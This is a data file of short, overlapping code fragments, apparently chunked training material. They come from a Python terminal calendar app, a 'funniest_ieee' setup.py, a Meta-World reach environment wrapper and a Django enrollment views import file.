"in yyyy/mm/dd format> - <name> To read an event enter : {READ} <date",
"events as a nested dictionary with dates as keys, lastly with a names",
"--------------------------------------------------------------------------------------- SCROLL = \"S\" FORWARD = \"F\" BACKWARD = \"B\" SCROLLING = [SCROLL,",
"if days == self.today.day and days not in monthly_events: entry = color_entry(entry, bg=\"red\")",
"Main loop of the calendar. Prompts the user to input commands to modify",
"= user_input.replace(ignore, \"\") try: cmd = user_input[0].upper() except IndexError: continue try: if cmd",
"not None: usr_ind = usr_args[0].upper() else: usr_ind = usr_args if usr_ind == self.YEAR:",
") overwrite = overwrite.upper() != \"N\" if not overwrite: name = input(f\"Please enter",
"self.find_events(calendar_date).keys(): if cmd == self.MODIFY: mod_event = self.get_event(calendar_date, name) mod_event.modify() self.update_event(mod_event, calendar_date, name)",
"Checks event after it's been modified and rewrites it to the dict with",
"\"\"\" Adds an event to the calendar Args: calendar_date : date of the",
"{ALL} (To continue Press enter) \"\"\" def __init__(self): \"\"\" Constructor for the Calendar",
"calendar_date, name, description, prompt_user_time(\"What time do you want to set?\") ) def print_calendar(self):",
"beautified txt : string indicating color of text bg : string indicating color",
"name for the event : \") else: break description = input(\"Give us a",
"== self.BACKWARD: # Move forward of backward if cmd == self.FORWARD: sgn =",
"we're looking for events Returns: daily events : dictionary of events occurring on",
"Calendar class to hold info on all events in our calendar \"\"\" WEEKDAYS",
"it's been modified and rewrites it to the dict with updated indeces \"\"\"",
"indeces \"\"\" input(\"Hello There\") new_ev = self.get_event(modified_event.date_of_event, modified_event.name) old_ev = self.get_event(old_date, old_name) if",
"modified_event def print_all_events(self): prnt = \"{\\n\" for year, months in self.events.items(): prnt +=",
": \" f\"Other event : {self.get_event(calendar_date, name)}\\n\" ) overwrite = overwrite.upper() != \"N\"",
"for indexing name : optional. Tacked on to return if included Returns: year",
"scroll to the the next month enter : {FORWARD}{MONTH} To scroll to the",
"names.items(): ev_str = repr(ev).replace(\"\\n\", \"\\n\\t\\t\\t\\t\\t\") prnt += f\"\\t\\t\\t\\t{name}\\t{ev_str}\\n\" prnt += \"\\t\\t\\t},\\n\" prnt +=",
"self.today.month+sgn, self.today.day) def eventing(self, usr_input: str): \"\"\" parse event commands from the user",
"dictionary with dates as keys, lastly with a names dict. Structure: self.events =",
"SCROLL = \"S\" FORWARD = \"F\" BACKWARD = \"B\" SCROLLING = [SCROLL, FORWARD,",
"!= \"Y\": self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name, description, ) else: self.events[self.ind_from_date(calendar_date, name)]",
"days of the week for day in self.WEEKDAYS: cal_string += f\"{day} \" cal_string",
"ev def find_events(self, calendar_date: DateTypes) -> Dict: \"\"\" finds all events that occur",
"modified_event: Event, old_date: DateTypes, old_name: str): \"\"\" Checks event after it's been modified",
"parse_user_date, prompt_user_time \"\"\" Should print a calendar to the terminal/console output and prompt",
"To scroll to the next year enter : {FORWARD}{YEAR} To scroll to the",
"first_day = date(self.today.year, self.today.month, 1).weekday() # Find number of days in month num_days",
"not None: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day), name else: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day) def",
"entry = color_entry(entry, txt=\"green\") if days == self.today.day and days not in monthly_events:",
"str) -> Event: \"\"\" Gets an event from a name and a date",
"= usr_input[1:] else: usr_args = None if cmd == self.SCROLL: calendar_date = parse_user_date(usr_args)",
"prompt_user_time \"\"\" Should print a calendar to the terminal/console output and prompt the",
"if lowest level item is an empty dict, pop this from the parent",
"the correct call to print_calendar() Args: usr_input : string input by the user.",
"Believe it or not this works. Checkout the Calendar testing ipython notebook. \"\"\"",
"{BACKWARD}{MONTH} To scroll to the next year enter : {FORWARD}{YEAR} To scroll to",
"dict. Structure: self.events = { year(str) : { month(str) : { day(str) :",
"event after it's been modified and rewrites it to the dict with updated",
"else: # Scroll by month is default self.today = date(self.today.year, self.today.month+sgn, self.today.day) def",
"week for day in self.WEEKDAYS: cal_string += f\"{day} \" cal_string += \"\\n\" days",
"EVENTS + UTIL # indicators ----------------------------------------------------------------------------------- DAY = \"D\" MONTH = \"M\" YEAR",
"day, empty dict if there are none \"\"\" try: daily_events = self.events[self.ind_from_date(calendar_date)] except",
"break description = input(\"Give us a brief description of the event : \\n\")",
"cmd == self.ALL: self.print_all_events() elif cmd in self.SCROLLING: self.scroll(user_input) elif cmd in self.EVENTS:",
"\"Su\"] # calendar commands ============================================================================ # scroll --------------------------------------------------------------------------------------- SCROLL = \"S\" FORWARD =",
"\"Th\", \"Fr\", \"Sa\", \"Su\"] # calendar commands ============================================================================ # scroll --------------------------------------------------------------------------------------- SCROLL =",
"around in time \"\"\" command_ms = \"Welcome to the calendar, what would you",
"scroll based command \"\"\" cmd = usr_input[0] if len(usr_input) > 1: usr_args =",
"year cal_string += color_entry( f\"{self.MONTHS[self.today.month]} : {self.today.year}\\n\", txt=\"cyan\" ) # Print the days",
"try: ev = self.events[self.ind_from_date(calendar_date, name)] except KeyError: ev = None return ev def",
"self.today.month, 1).weekday() # Find number of days in month num_days = monthrange(self.today.year, self.today.month)[1]",
"are found \"\"\" try: ev = self.events[self.ind_from_date(calendar_date, name)] except KeyError: ev = None",
"a new name for the event : \") else: break description = input(\"Give",
"not days == self.today.day: entry = color_entry(entry, txt=\"green\") if days == self.today.day and",
"event to the calendar Args: calendar_date : date of the new event name",
"month * make, read, and modify events on certain days \"\"\" DateTypes =",
"Calendar.clean_nested_dict(self.events) self.events[ self.ind_from_date(modified_event.date_of_event, modified_event.name) ] = modified_event def print_all_events(self): prnt = \"{\\n\" for",
"on all events in our calendar \"\"\" WEEKDAYS = [\"Mo\", \"Tu\", \"We\", \"Th\",",
"\"H\" ALL = \"A\" UTIL = [QUIT, HELP, ALL] COMMANDS = SCROLLING +",
"user wants to try and input again except MainError: continue def scroll(self, usr_input:",
"please input a valid command\\ {self.MENU_STRING}\") # MainError is just an indicator that",
"YEAR = \"Y\" EVENT = \"E\" INDICATORS = [DAY, MONTH, YEAR, EVENT] MONTHS",
"self.print_calendar() user_input = input(command_ms) for ignore in ignores: user_input = user_input.replace(ignore, \"\") try:",
"and prompt the user to input some number of possible commands to: *",
"= \"\" # Print month and year cal_string += color_entry( f\"{self.MONTHS[self.today.month]} : {self.today.year}\\n\",",
"-> str: \"\"\" turns message into a colorful version of itself Args: message",
"Checkout the Calendar testing ipython notebook. \"\"\" # if lowest level item is",
": \" + \"{\\n\" for month, days in months.items(): prnt += f\"\\t\\t{month} :",
"enter : {FORWARD}{MONTH} To scroll to the previous month enter : {BACKWARD}{MONTH} To",
": (Event) } } } } \"\"\" self.events = benedict() self.today = date.today()",
"message : message to be beautified txt : string indicating color of text",
"the user. Should be led by a valid scroll based command \"\"\" cmd",
"self.ind_from_date(modified_event.date_of_event, modified_event.name) ] = modified_event def print_all_events(self): prnt = \"{\\n\" for year, months",
"certain days \"\"\" DateTypes = TypeVar(\"DateTypes\", date, datetime) class Calendar: \"\"\" Calendar class",
"from month to month * make, read, and modify events on certain days",
"\"June\", 7: \"July\", 8: \"August\", 9: \"September\", 10: \"October\", 11: \"November\", 12: \"December\"",
"in list(nested_dict.items()): pop_that = Calendar.clean_nested_dict(sub_dict) if pop_that: nested_dict.pop(key) pop_this *= pop_that return pop_this",
"if there are none \"\"\" try: daily_events = self.events[self.ind_from_date(calendar_date)] except KeyError: daily_events =",
"============================================================================ # scroll --------------------------------------------------------------------------------------- SCROLL = \"S\" FORWARD = \"F\" BACKWARD = \"B\"",
"usr_args = usr_input[1:] else: usr_args = None if cmd == self.SCROLL: calendar_date =",
"\"31\", \"green\": \"32\", \"yellow\": \"33\", \"blue\": \"34\", \"purple\": \"35\", \"cyan\": \"36\", \"white\": \"37\",",
"5: \"May\", 6: \"June\", 7: \"July\", 8: \"August\", 9: \"September\", 10: \"October\", 11:",
"= \" \" cal_string += entry cal_string += \"\\n\" print(cal_string) if __name__ ==",
"str(calendar_date.year), str(calendar_date.month), str(calendar_date.day), name else: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day) def get_event(self, calendar_date: DateTypes,",
"self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name, description, prompt_user_time(\"What time do you want to",
"f\"{31 + 10}\", \"green\": f\"{32 + 10}\", \"yellow\": f\"{33 + 10}\", \"blue\": f\"{34",
"dict, pop this from the parent and clean up recursively if nested_dict ==",
"usr_ind == self.DAY: self.today = date(self.today.year, self.today.month, self.today.day+sgn) else: # Scroll by month",
"names in days.items(): prnt += f\"\\t\\t\\t{day} : \" + \"{\\n\" for name, ev",
"None: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day), name else: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day) def get_event(self,",
"7: \"July\", 8: \"August\", 9: \"September\", 10: \"October\", 11: \"November\", 12: \"December\" }",
"into a colorful version of itself Args: message : message to be beautified",
": string input by the user. Should be led by a valid event",
"= { 1: \"January\", 2: \"February\", 3: \"March\", 4: \"April\", 5: \"May\", 6:",
"to remove empty dicts and subdicts Believe it or not this works. Checkout",
"-1 if usr_args is not None: usr_ind = usr_args[0].upper() else: usr_ind = usr_args",
"Args: calendar_date : date of the new event name : name of that",
"string indicating color of text bg : string indicating color of background Returns:",
"lastly with a names dict. Structure: self.events = { year(str) : { month(str)",
"Event: \"\"\" Gets an event from a name and a date Args: calendar_date",
"the days of the week for day in self.WEEKDAYS: cal_string += f\"{day} \"",
"indexing name : optional. Tacked on to return if included Returns: year (int),",
"of text bg : string indicating color of background Returns: beautified message \"\"\"",
"= [SCROLL, FORWARD, BACKWARD] # Event ---------------------------------------------------------------------------------------- NEW = \"N\" MODIFY = \"C\"",
"eventing(self, usr_input: str): \"\"\" parse event commands from the user and edit self.events",
"name: str = None): \"\"\" Args: calendar_date : date to be used for"
] |
[
"setup(name='funniest_ieee', version='0.5', description='The funniest_ieee joke in the world', url='https://github.com/axel-sirota/IEEE-CICD', author='<NAME>', author_email='<EMAIL>', license='MIT', KEYWORDS",
"OS Independent\", \"Programming Language :: Python\", \"Programming Language :: Python :: 2\", \"Programming",
"System :: OS Independent\", \"Programming Language :: Python\", \"Programming Language :: Python ::",
":: Python :: 3\", \"Programming Language :: Python :: 3.3\", \"Programming Language ::",
"Python :: 3\", \"Programming Language :: Python :: 3.3\", \"Programming Language :: Python",
"\"Programming Language :: Python :: Implementation :: PyPy\", \"Topic :: Software Development ::",
"Production/Stable\", \"Intended Audience :: Developers\", \"Natural Language :: English\", \"License :: OSI Approved",
"2\", \"Programming Language :: Python :: 2.7\", \"Programming Language :: Python :: 3\",",
"Python :: 2\", \"Programming Language :: Python :: 2.7\", \"Programming Language :: Python",
"description='The funniest_ieee joke in the world', url='https://github.com/axel-sirota/IEEE-CICD', author='<NAME>', author_email='<EMAIL>', license='MIT', KEYWORDS = [\"class\",",
":: 3\", \"Programming Language :: Python :: 3.3\", \"Programming Language :: Python ::",
"PyPy\", \"Topic :: Software Development :: Libraries :: Python Modules\", ], packages=['funniest_ieee'], install_requires=[",
":: Implementation :: CPython\", \"Programming Language :: Python :: Implementation :: PyPy\", \"Topic",
":: English\", \"License :: OSI Approved :: MIT License\", \"Operating System :: OS",
":: Python Modules\", ], packages=['funniest_ieee'], install_requires=[ 'nose', 'pylint', 'coverage', 'nosexcover', 'flake8', 'twine' ],",
"CLASSIFIERS = [ \"Development Status :: 5 - Production/Stable\", \"Intended Audience :: Developers\",",
":: Python :: Implementation :: PyPy\", \"Topic :: Software Development :: Libraries ::",
"in the world', url='https://github.com/axel-sirota/IEEE-CICD', author='<NAME>', author_email='<EMAIL>', license='MIT', KEYWORDS = [\"class\", \"attribute\", \"boilerplate\"], CLASSIFIERS",
"url='https://github.com/axel-sirota/IEEE-CICD', author='<NAME>', author_email='<EMAIL>', license='MIT', KEYWORDS = [\"class\", \"attribute\", \"boilerplate\"], CLASSIFIERS = [ \"Development",
"Language :: Python :: 2.7\", \"Programming Language :: Python :: 3\", \"Programming Language",
"3.3\", \"Programming Language :: Python :: 3.4\", \"Programming Language :: Python :: 3.5\",",
"\"Topic :: Software Development :: Libraries :: Python Modules\", ], packages=['funniest_ieee'], install_requires=[ 'nose',",
"Language :: Python :: Implementation :: CPython\", \"Programming Language :: Python :: Implementation",
"OSI Approved :: MIT License\", \"Operating System :: OS Independent\", \"Programming Language ::",
":: 3.4\", \"Programming Language :: Python :: 3.5\", \"Programming Language :: Python ::",
":: MIT License\", \"Operating System :: OS Independent\", \"Programming Language :: Python\", \"Programming",
"- Production/Stable\", \"Intended Audience :: Developers\", \"Natural Language :: English\", \"License :: OSI",
":: Python\", \"Programming Language :: Python :: 2\", \"Programming Language :: Python ::",
":: Python :: 3.4\", \"Programming Language :: Python :: 3.5\", \"Programming Language ::",
"5 - Production/Stable\", \"Intended Audience :: Developers\", \"Natural Language :: English\", \"License ::",
"[\"class\", \"attribute\", \"boilerplate\"], CLASSIFIERS = [ \"Development Status :: 5 - Production/Stable\", \"Intended",
"\"Programming Language :: Python :: 3.5\", \"Programming Language :: Python :: Implementation ::",
"\"Programming Language :: Python :: 3.3\", \"Programming Language :: Python :: 3.4\", \"Programming",
"Python Modules\", ], packages=['funniest_ieee'], install_requires=[ 'nose', 'pylint', 'coverage', 'nosexcover', 'flake8', 'twine' ], test_suite='nose.collector',",
"Independent\", \"Programming Language :: Python\", \"Programming Language :: Python :: 2\", \"Programming Language",
"from setuptools import setup setup(name='funniest_ieee', version='0.5', description='The funniest_ieee joke in the world', url='https://github.com/axel-sirota/IEEE-CICD',",
":: OSI Approved :: MIT License\", \"Operating System :: OS Independent\", \"Programming Language",
"2.7\", \"Programming Language :: Python :: 3\", \"Programming Language :: Python :: 3.3\",",
"Libraries :: Python Modules\", ], packages=['funniest_ieee'], install_requires=[ 'nose', 'pylint', 'coverage', 'nosexcover', 'flake8', 'twine'",
"3\", \"Programming Language :: Python :: 3.3\", \"Programming Language :: Python :: 3.4\",",
"Python :: 3.5\", \"Programming Language :: Python :: Implementation :: CPython\", \"Programming Language",
"Language :: Python :: Implementation :: PyPy\", \"Topic :: Software Development :: Libraries",
"Language :: Python :: 3.5\", \"Programming Language :: Python :: Implementation :: CPython\",",
":: Libraries :: Python Modules\", ], packages=['funniest_ieee'], install_requires=[ 'nose', 'pylint', 'coverage', 'nosexcover', 'flake8',",
":: Python :: 2.7\", \"Programming Language :: Python :: 3\", \"Programming Language ::",
"[ \"Development Status :: 5 - Production/Stable\", \"Intended Audience :: Developers\", \"Natural Language",
"funniest_ieee joke in the world', url='https://github.com/axel-sirota/IEEE-CICD', author='<NAME>', author_email='<EMAIL>', license='MIT', KEYWORDS = [\"class\", \"attribute\",",
"\"boilerplate\"], CLASSIFIERS = [ \"Development Status :: 5 - Production/Stable\", \"Intended Audience ::",
":: Software Development :: Libraries :: Python Modules\", ], packages=['funniest_ieee'], install_requires=[ 'nose', 'pylint',",
"= [ \"Development Status :: 5 - Production/Stable\", \"Intended Audience :: Developers\", \"Natural",
":: Python :: 2\", \"Programming Language :: Python :: 2.7\", \"Programming Language ::",
"setup setup(name='funniest_ieee', version='0.5', description='The funniest_ieee joke in the world', url='https://github.com/axel-sirota/IEEE-CICD', author='<NAME>', author_email='<EMAIL>', license='MIT',",
"\"Development Status :: 5 - Production/Stable\", \"Intended Audience :: Developers\", \"Natural Language ::",
"], packages=['funniest_ieee'], install_requires=[ 'nose', 'pylint', 'coverage', 'nosexcover', 'flake8', 'twine' ], test_suite='nose.collector', tests_require=['nose'] )",
"Language :: Python :: 3.3\", \"Programming Language :: Python :: 3.4\", \"Programming Language",
"author_email='<EMAIL>', license='MIT', KEYWORDS = [\"class\", \"attribute\", \"boilerplate\"], CLASSIFIERS = [ \"Development Status ::",
"\"Programming Language :: Python :: Implementation :: CPython\", \"Programming Language :: Python ::",
"Approved :: MIT License\", \"Operating System :: OS Independent\", \"Programming Language :: Python\",",
"CPython\", \"Programming Language :: Python :: Implementation :: PyPy\", \"Topic :: Software Development",
"Status :: 5 - Production/Stable\", \"Intended Audience :: Developers\", \"Natural Language :: English\",",
"\"attribute\", \"boilerplate\"], CLASSIFIERS = [ \"Development Status :: 5 - Production/Stable\", \"Intended Audience",
"MIT License\", \"Operating System :: OS Independent\", \"Programming Language :: Python\", \"Programming Language",
"\"Programming Language :: Python :: 3.4\", \"Programming Language :: Python :: 3.5\", \"Programming",
"\"Programming Language :: Python :: 2\", \"Programming Language :: Python :: 2.7\", \"Programming",
"KEYWORDS = [\"class\", \"attribute\", \"boilerplate\"], CLASSIFIERS = [ \"Development Status :: 5 -",
"Implementation :: CPython\", \"Programming Language :: Python :: Implementation :: PyPy\", \"Topic ::",
":: 3.5\", \"Programming Language :: Python :: Implementation :: CPython\", \"Programming Language ::",
"Software Development :: Libraries :: Python Modules\", ], packages=['funniest_ieee'], install_requires=[ 'nose', 'pylint', 'coverage',",
"\"Operating System :: OS Independent\", \"Programming Language :: Python\", \"Programming Language :: Python",
"\"License :: OSI Approved :: MIT License\", \"Operating System :: OS Independent\", \"Programming",
"license='MIT', KEYWORDS = [\"class\", \"attribute\", \"boilerplate\"], CLASSIFIERS = [ \"Development Status :: 5",
"Language :: English\", \"License :: OSI Approved :: MIT License\", \"Operating System ::",
"Python :: 3.4\", \"Programming Language :: Python :: 3.5\", \"Programming Language :: Python",
"the world', url='https://github.com/axel-sirota/IEEE-CICD', author='<NAME>', author_email='<EMAIL>', license='MIT', KEYWORDS = [\"class\", \"attribute\", \"boilerplate\"], CLASSIFIERS =",
"Language :: Python :: 2\", \"Programming Language :: Python :: 2.7\", \"Programming Language",
"= [\"class\", \"attribute\", \"boilerplate\"], CLASSIFIERS = [ \"Development Status :: 5 - Production/Stable\",",
"Language :: Python\", \"Programming Language :: Python :: 2\", \"Programming Language :: Python",
"English\", \"License :: OSI Approved :: MIT License\", \"Operating System :: OS Independent\",",
"\"Natural Language :: English\", \"License :: OSI Approved :: MIT License\", \"Operating System",
"import setup setup(name='funniest_ieee', version='0.5', description='The funniest_ieee joke in the world', url='https://github.com/axel-sirota/IEEE-CICD', author='<NAME>', author_email='<EMAIL>',",
"\"Programming Language :: Python :: 2.7\", \"Programming Language :: Python :: 3\", \"Programming",
"version='0.5', description='The funniest_ieee joke in the world', url='https://github.com/axel-sirota/IEEE-CICD', author='<NAME>', author_email='<EMAIL>', license='MIT', KEYWORDS =",
":: Implementation :: PyPy\", \"Topic :: Software Development :: Libraries :: Python Modules\",",
"3.4\", \"Programming Language :: Python :: 3.5\", \"Programming Language :: Python :: Implementation",
"Python\", \"Programming Language :: Python :: 2\", \"Programming Language :: Python :: 2.7\",",
"Python :: 3.3\", \"Programming Language :: Python :: 3.4\", \"Programming Language :: Python",
"Development :: Libraries :: Python Modules\", ], packages=['funniest_ieee'], install_requires=[ 'nose', 'pylint', 'coverage', 'nosexcover',",
"Python :: Implementation :: CPython\", \"Programming Language :: Python :: Implementation :: PyPy\",",
"author='<NAME>', author_email='<EMAIL>', license='MIT', KEYWORDS = [\"class\", \"attribute\", \"boilerplate\"], CLASSIFIERS = [ \"Development Status",
":: Python :: 3.3\", \"Programming Language :: Python :: 3.4\", \"Programming Language ::",
"\"Programming Language :: Python :: 3\", \"Programming Language :: Python :: 3.3\", \"Programming",
"setuptools import setup setup(name='funniest_ieee', version='0.5', description='The funniest_ieee joke in the world', url='https://github.com/axel-sirota/IEEE-CICD', author='<NAME>',",
"Python :: 2.7\", \"Programming Language :: Python :: 3\", \"Programming Language :: Python",
":: Python :: 3.5\", \"Programming Language :: Python :: Implementation :: CPython\", \"Programming",
":: 2\", \"Programming Language :: Python :: 2.7\", \"Programming Language :: Python ::",
"\"Programming Language :: Python\", \"Programming Language :: Python :: 2\", \"Programming Language ::",
"world', url='https://github.com/axel-sirota/IEEE-CICD', author='<NAME>', author_email='<EMAIL>', license='MIT', KEYWORDS = [\"class\", \"attribute\", \"boilerplate\"], CLASSIFIERS = [",
"Implementation :: PyPy\", \"Topic :: Software Development :: Libraries :: Python Modules\", ],",
"joke in the world', url='https://github.com/axel-sirota/IEEE-CICD', author='<NAME>', author_email='<EMAIL>', license='MIT', KEYWORDS = [\"class\", \"attribute\", \"boilerplate\"],",
"Developers\", \"Natural Language :: English\", \"License :: OSI Approved :: MIT License\", \"Operating",
":: OS Independent\", \"Programming Language :: Python\", \"Programming Language :: Python :: 2\",",
":: 5 - Production/Stable\", \"Intended Audience :: Developers\", \"Natural Language :: English\", \"License",
":: Python :: Implementation :: CPython\", \"Programming Language :: Python :: Implementation ::",
"Python :: Implementation :: PyPy\", \"Topic :: Software Development :: Libraries :: Python",
"License\", \"Operating System :: OS Independent\", \"Programming Language :: Python\", \"Programming Language ::",
"3.5\", \"Programming Language :: Python :: Implementation :: CPython\", \"Programming Language :: Python",
":: CPython\", \"Programming Language :: Python :: Implementation :: PyPy\", \"Topic :: Software",
"Language :: Python :: 3\", \"Programming Language :: Python :: 3.3\", \"Programming Language",
":: PyPy\", \"Topic :: Software Development :: Libraries :: Python Modules\", ], packages=['funniest_ieee'],",
"Language :: Python :: 3.4\", \"Programming Language :: Python :: 3.5\", \"Programming Language",
"Modules\", ], packages=['funniest_ieee'], install_requires=[ 'nose', 'pylint', 'coverage', 'nosexcover', 'flake8', 'twine' ], test_suite='nose.collector', tests_require=['nose']",
"Audience :: Developers\", \"Natural Language :: English\", \"License :: OSI Approved :: MIT",
":: 2.7\", \"Programming Language :: Python :: 3\", \"Programming Language :: Python ::",
":: 3.3\", \"Programming Language :: Python :: 3.4\", \"Programming Language :: Python ::",
":: Developers\", \"Natural Language :: English\", \"License :: OSI Approved :: MIT License\",",
"<filename>setup.py from setuptools import setup setup(name='funniest_ieee', version='0.5', description='The funniest_ieee joke in the world',",
"\"Intended Audience :: Developers\", \"Natural Language :: English\", \"License :: OSI Approved ::"
] |
[
"a number n and computes the sum 1 + 2 + ... +",
"... + ', n, ' is equal to ', s, '.', sep= '')",
"2 + ... + n. n = input('Type a natural number and press",
"s = { i for i in range(1, n+1) } s = sum(s)",
"+ n. n = input('Type a natural number and press return: ') n",
"i in range(1, n+1) } s = sum(s) print('The sum 1 + 2",
"= sum(s) print('The sum 1 + 2 + ... + ', n, '",
"') n = int(n) s = { i for i in range(1, n+1)",
"the sum 1 + 2 + ... + n. n = input('Type a",
"... + n. n = input('Type a natural number and press return: ')",
"n = int(n) s = { i for i in range(1, n+1) }",
"for i in range(1, n+1) } s = sum(s) print('The sum 1 +",
"sum 1 + 2 + ... + n. n = input('Type a natural",
"program reads a number n and computes the sum 1 + 2 +",
"n and computes the sum 1 + 2 + ... + n. n",
"+ 2 + ... + n. n = input('Type a natural number and",
"sum 1 + 2 + ... + ', n, ' is equal to",
"2 + ... + ', n, ' is equal to ', s, '.',",
"n. n = input('Type a natural number and press return: ') n =",
"a natural number and press return: ') n = int(n) s = {",
"1 + 2 + ... + n. n = input('Type a natural number",
"+ ... + n. n = input('Type a natural number and press return:",
"i for i in range(1, n+1) } s = sum(s) print('The sum 1",
"= int(n) s = { i for i in range(1, n+1) } s",
"int(n) s = { i for i in range(1, n+1) } s =",
"n+1) } s = sum(s) print('The sum 1 + 2 + ... +",
"number and press return: ') n = int(n) s = { i for",
"<gh_stars>10-100 # This program reads a number n and computes the sum 1",
"and computes the sum 1 + 2 + ... + n. n =",
"s = sum(s) print('The sum 1 + 2 + ... + ', n,",
"print('The sum 1 + 2 + ... + ', n, ' is equal",
"+ 2 + ... + ', n, ' is equal to ', s,",
"sum(s) print('The sum 1 + 2 + ... + ', n, ' is",
"# This program reads a number n and computes the sum 1 +",
"range(1, n+1) } s = sum(s) print('The sum 1 + 2 + ...",
"reads a number n and computes the sum 1 + 2 + ...",
"{ i for i in range(1, n+1) } s = sum(s) print('The sum",
"This program reads a number n and computes the sum 1 + 2",
"} s = sum(s) print('The sum 1 + 2 + ... + ',",
"+ ... + ', n, ' is equal to ', s, '.', sep=",
"and press return: ') n = int(n) s = { i for i",
"natural number and press return: ') n = int(n) s = { i",
"computes the sum 1 + 2 + ... + n. n = input('Type",
"in range(1, n+1) } s = sum(s) print('The sum 1 + 2 +",
"n = input('Type a natural number and press return: ') n = int(n)",
"press return: ') n = int(n) s = { i for i in",
"= input('Type a natural number and press return: ') n = int(n) s",
"return: ') n = int(n) s = { i for i in range(1,",
"1 + 2 + ... + ', n, ' is equal to ',",
"number n and computes the sum 1 + 2 + ... + n.",
"= { i for i in range(1, n+1) } s = sum(s) print('The",
"input('Type a natural number and press return: ') n = int(n) s ="
] |
[
"import enrollment_enroll_view from .enrollment_admin_view import enrollment_admin_view from .enrollment_admin_special_diets_view import enrollment_admin_special_diets_view from .enrollment_admin_menu_items import",
".enrollment_enroll_view import enrollment_enroll_view from .enrollment_admin_view import enrollment_admin_view from .enrollment_admin_special_diets_view import enrollment_admin_special_diets_view from .enrollment_admin_menu_items",
"utf-8 from .enrollment_event_box_context import enrollment_event_box_context from .enrollment_enroll_view import enrollment_enroll_view from .enrollment_admin_view import enrollment_admin_view",
".enrollment_event_box_context import enrollment_event_box_context from .enrollment_enroll_view import enrollment_enroll_view from .enrollment_admin_view import enrollment_admin_view from .enrollment_admin_special_diets_view",
"enrollment_event_box_context from .enrollment_enroll_view import enrollment_enroll_view from .enrollment_admin_view import enrollment_admin_view from .enrollment_admin_special_diets_view import enrollment_admin_special_diets_view",
"from .enrollment_event_box_context import enrollment_event_box_context from .enrollment_enroll_view import enrollment_enroll_view from .enrollment_admin_view import enrollment_admin_view from",
"<reponame>Siikakala/kompassi # encoding: utf-8 from .enrollment_event_box_context import enrollment_event_box_context from .enrollment_enroll_view import enrollment_enroll_view from",
"enrollment_enroll_view from .enrollment_admin_view import enrollment_admin_view from .enrollment_admin_special_diets_view import enrollment_admin_special_diets_view from .enrollment_admin_menu_items import enrollment_admin_menu_items",
"# encoding: utf-8 from .enrollment_event_box_context import enrollment_event_box_context from .enrollment_enroll_view import enrollment_enroll_view from .enrollment_admin_view",
"from .enrollment_enroll_view import enrollment_enroll_view from .enrollment_admin_view import enrollment_admin_view from .enrollment_admin_special_diets_view import enrollment_admin_special_diets_view from",
"encoding: utf-8 from .enrollment_event_box_context import enrollment_event_box_context from .enrollment_enroll_view import enrollment_enroll_view from .enrollment_admin_view import",
"import enrollment_event_box_context from .enrollment_enroll_view import enrollment_enroll_view from .enrollment_admin_view import enrollment_admin_view from .enrollment_admin_special_diets_view import"
] |
[
"set anything only at test time if task is None: if test: task",
"self.goal_space_origin = np.array([0, 0.85, 0.175]) self.current_task_idx = 0 self.episode_steps = 0 self._max_episode_steps =",
"ReachML1Env(gym.Env): def __init__(self, max_episode_steps=150,out_of_distribution=False, n_train_tasks=50, n_test_tasks=10, **kwargs): super(ReachML1Env, self).__init__() self.train_env = ML1.get_train_tasks('reach-v1', out_of_distribution=out_of_distribution)",
"0.85, 0.175]) self.current_task_idx = 0 self.episode_steps = 0 self._max_episode_steps = max_episode_steps # self.get_tasks_goals()",
"test: task = randint(len(self.train_tasks), len(self.tasks) - 1) else: task = randint(0, len(self.train_tasks) -",
"idx): self.current_task_idx = idx self.env = self.train_env if idx < len(self.train_tasks) else self.test_env",
"np.array([0, 0.85, 0.175]) self.current_task_idx = 0 self.episode_steps = 0 self._max_episode_steps = max_episode_steps #",
"self._max_episode_steps: done = True return obs, reward, done, info def reset(self): self.episode_steps =",
"if task is None: if test: task = randint(len(self.train_tasks), len(self.tasks) - 1) else:",
"= self.test_env.sample_tasks(n_test_tasks) self.tasks = self.train_tasks + self.test_tasks self.env = self.train_env #this env will",
"self.episode_steps += 1 obs, reward, done, info = self.env.step(action) if self.episode_steps >= self._max_episode_steps:",
"len(self.train_tasks) - 1) self.set_task(task) def render(self): self.env.render() def get_tasks_goals(self): for idx in range(len(self.tasks)):",
"n_train_tasks=50, n_test_tasks=10, **kwargs): super(ReachML1Env, self).__init__() self.train_env = ML1.get_train_tasks('reach-v1', out_of_distribution=out_of_distribution) self.test_env = ML1.get_test_tasks('reach-v1', out_of_distribution=out_of_distribution)",
"- 1) else: task = randint(0, len(self.train_tasks) - 1) self.set_task(task) def render(self): self.env.render()",
"self.train_env.sample_tasks(n_train_tasks) self.test_tasks = self.test_env.sample_tasks(n_test_tasks) self.tasks = self.train_tasks + self.test_tasks self.env = self.train_env #this",
"metaworld.benchmarks import ML1 class ReachML1Env(gym.Env): def __init__(self, max_episode_steps=150,out_of_distribution=False, n_train_tasks=50, n_test_tasks=10, **kwargs): super(ReachML1Env, self).__init__()",
"class ReachML1Env(gym.Env): def __init__(self, max_episode_steps=150,out_of_distribution=False, n_train_tasks=50, n_test_tasks=10, **kwargs): super(ReachML1Env, self).__init__() self.train_env = ML1.get_train_tasks('reach-v1',",
"0 self._max_episode_steps = max_episode_steps # self.get_tasks_goals() # self.reset_task() def step(self, action): self.episode_steps +=",
"1 obs, reward, done, info = self.env.step(action) if self.episode_steps >= self._max_episode_steps: done =",
"self.episode_steps >= self._max_episode_steps: done = True return obs, reward, done, info def reset(self):",
"def get_all_task_idx(self): return range(len(self.tasks)) def set_task(self, idx): self.current_task_idx = idx self.env = self.train_env",
"without idx, so tasks are always scrambled # we have to set anything",
"= 0 self.episode_steps = 0 self._max_episode_steps = max_episode_steps # self.get_tasks_goals() # self.reset_task() def",
"depending on the idx self.observation_space = self.env.observation_space self.action_space = self.env.action_space self.goal_space_origin = np.array([0,",
"+ self.test_tasks self.env = self.train_env #this env will change depending on the idx",
"def set_task(self, idx): self.current_task_idx = idx self.env = self.train_env if idx < len(self.train_tasks)",
"self.env.step(action) if self.episode_steps >= self._max_episode_steps: done = True return obs, reward, done, info",
"this is called only without idx, so tasks are always scrambled # we",
